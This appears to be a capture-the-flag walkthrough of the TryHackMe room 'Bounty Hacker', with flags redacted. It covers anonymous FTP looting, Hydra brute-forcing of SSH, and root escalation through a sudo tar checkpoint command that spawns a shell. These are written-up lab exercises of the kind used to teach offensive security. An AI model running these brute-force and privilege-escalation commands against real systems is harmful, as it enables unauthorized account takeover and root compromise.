๐ฏ Room Info
| Room | Bounty Hacker |
| Difficulty | ๐ข Easy |
| Category | Linux privesc, service enum, credential reuse |
| Link | tryhackme.com/room/cowboyhacker |
๐ What This Room Is About
Bounty Hacker is a beginner Linux box with a Firefly theme. You start with nothing but an IP address, and by the end you're root.
The attack chain is short and satisfying:
- ๐ Scan the box
- ๐ Loot an open FTP server
- ๐ Use what you found to brute-force SSH
- โฌ๏ธ Escalate to root through a misconfigured
sudorule
If you've just learned Nmap and basic Linux commands, this room is where it all clicks together.
๐ง Skills You'll Practice
- Nmap scanning
- Anonymous FTP enumeration
- Password brute-forcing with Hydra
- Linux privilege escalation (
sudo -l+ GTFOBins)
๐ ๏ธ Step-by-Step Walkthrough
1๏ธโฃ Scan the target
nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
Three ports pop up: FTP (21), SSH (22), HTTP (80). The FTP banner is the giveaway โ it usually says anonymous login is allowed.
๐ก Why this matters:
-sC -sVgives you service versions and runs safe default scripts in one shot. It's almost always your first move.
2๏ธโฃ Loot the FTP server
ftp <TARGET_IP>
Log in with username anonymous and any password (or just hit enter).
ls -la
get locks.txt
get task.txt
What you get:
-
task.txtโ an in-character note that points you toward a username -
locks.txtโ a password wordlist
๐ก Why this matters: open FTP shares are a real-world recon goldmine, not just a CTF trope. Always check.
3๏ธโฃ Find the username
cat task.txt
The note reveals the username you'll need for the next step.
4๏ธโฃ Brute-force SSH
hydra -l <username> -P locks.txt ssh://<TARGET_IP>
Hydra tries every password in locks.txt against that username until one works.
๐ก Why this matters: this is exactly how credential-stuffing attacks work in the wild โ a leaked list + a known username = compromised account.
5๏ธโฃ Log in and grab the user flag
ssh <username>@<TARGET_IP>
cat user.txt
๐ฉ Click to reveal: user flag
Redacted โ swap in your own captured flag if you want to keep a private record.
6๏ธโฃ Escalate to root
Always check this first on any Linux box:
sudo -l
You'll see the low-priv user can run one specific binary as root, no password needed โ a textbook GTFOBins case (tar, in this room).
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
That drops you straight into a root shell.
whoami
cat /root/root.txt
๐ฉ Click to reveal: root flag
Redacted โ swap in your own captured flag if you want to keep a private record.
๐ Every Command, In Order
nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
ftp <TARGET_IP>
hydra -l <username> -P locks.txt ssh://<TARGET_IP>
ssh <username>@<TARGET_IP>
sudo -l
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
๐ Key Takeaways
- Open FTP = free intel. Anonymous access is more common in production than you'd think โ always check it.
-
sudo -lfirst, always. It's the fastest privesc win on any Linux box. - GTFOBins is your cheat sheet. Any binary listed there that you can run as root is a potential root shell.
- This is a real attack pattern, not just a game โ leaked credentials + reused passwords still cause the majority of real breaches.
Top comments (0)